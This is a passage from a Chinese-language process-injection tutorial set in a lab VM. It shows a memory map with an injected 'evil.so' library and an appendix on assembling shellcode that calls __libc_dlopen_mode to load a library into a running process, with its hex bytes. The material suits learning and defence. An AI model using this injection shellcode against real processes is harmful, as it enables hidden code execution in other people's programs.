08048000-08049000 r-xp 00000000 08:01 266876 /home/vagrant/pwn/elf/hello
08049000-0804a000 r--p 00000000 08:01 266876 /home/vagrant/pwn/elf/hello
0804a000-0804b000 rw-p 00001000 08:01 266876 /home/vagrant/pwn/elf/hello
084a2000-084c3000 rw-p 00000000 00:00 0 [heap]
b7527000-b7528000 rw-p 00000000 00:00 0
b7528000-b76d0000 r-xp 00000000 08:01 2134 /lib/i386-linux-gnu/libc-2.19.so
b76d0000-b76d1000 ---p 001a8000 08:01 2134 /lib/i386-linux-gnu/libc-2.19.so
b76d1000-b76d3000 r--p 001a8000 08:01 2134 /lib/i386-linux-gnu/libc-2.19.so
b76d3000-b76d4000 rw-p 001aa000 08:01 2134 /lib/i386-linux-gnu/libc-2.19.so
b76d4000-b76d7000 rw-p 00000000 00:00 0
b76db000-b76dc000 r-xp 00000000 00:1a 1974 /vagrant/inject/evil.so
b76dc000-b76dd000 r--p 00000000 00:1a 1974 /vagrant/inject/evil.so
b76dd000-b76de000 rw-p 00001000 00:1a 1974 /vagrant/inject/evil.so
b76de000-b76e1000 rw-p 00000000 00:00 0
b76e1000-b76e2000 r-xp 00000000 00:00 0 [vdso]
b76e2000-b7702000 r-xp 00000000 08:01 2153 /lib/i386-linux-gnu/ld-2.19.so
b7702000-b7703000 r--p 0001f000 08:01 2153 /lib/i386-linux-gnu/ld-2.19.so
b7703000-b7704000 rw-p 00020000 08:01 2153 /lib/i386-linux-gnu/ld-2.19.so
bfea3000-bfec4000 rw-p 00000000 00:00 0 [stack]
➜ inject
|
附錄
如何生成匯編對應16進制?
這里使用 nasm
工具.
先寫好匯編代碼
➜ cat __libc_dlopen_mode.asm
_start: jmp string
begin: pop eax ; char *file
mov edx, 0x1 ; int mode
push edx ;
push eax ;
mov ebx, 0x12345678 ; addr of __libc_dlopen_mode()
call ebx ; call __libc_dlopen_mode()
add esp, 0x8 ; resotre stack
int3 ; breakpoint
string: call begin
db "/tmp/ourlibby.so",0x00
|
之后使用 nasm -f elf32 -o __libc_dlopen_mode.o __libc_dlopen_mode.asm
即可生成目標文件, 之后使用 objdump -d __libc_dlopen_mode.o
即可查看匯編對應的16進制
➜ objdump -d __libc_dlopen_mode.o
__libc_dlopen_mode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: eb 13 jmp 15 <string>
00000002 <begin>:
2: 58 pop %eax
3: ba 01 00 00 00 mov $0x1,%edx
8: 52 push %edx
9: 50 push %eax
a: bb 78 56 34 12 mov $0x12345678,%ebx
f: ff d3 call *%ebx
11: 83 c4 08 add $0x8,%esp
14: cc int3
00000015 <string>:
15: e8 e8 ff ff ff call 2 <begin>
1a: 2f das
1b: 74 6d je 8a <string+0x75>
1d: 70 2f jo 4e <string+0x39>
1f: 6f outsl %ds:(%esi),(%dx)
20: 75 72 jne 94 <string+0x7f>
22: 6c insb (%dx),%es:(%edi)
23: 69 62 62 79 2e 73 6f imul $0x6f732e79,0x62(%edx),%esp
|
========== End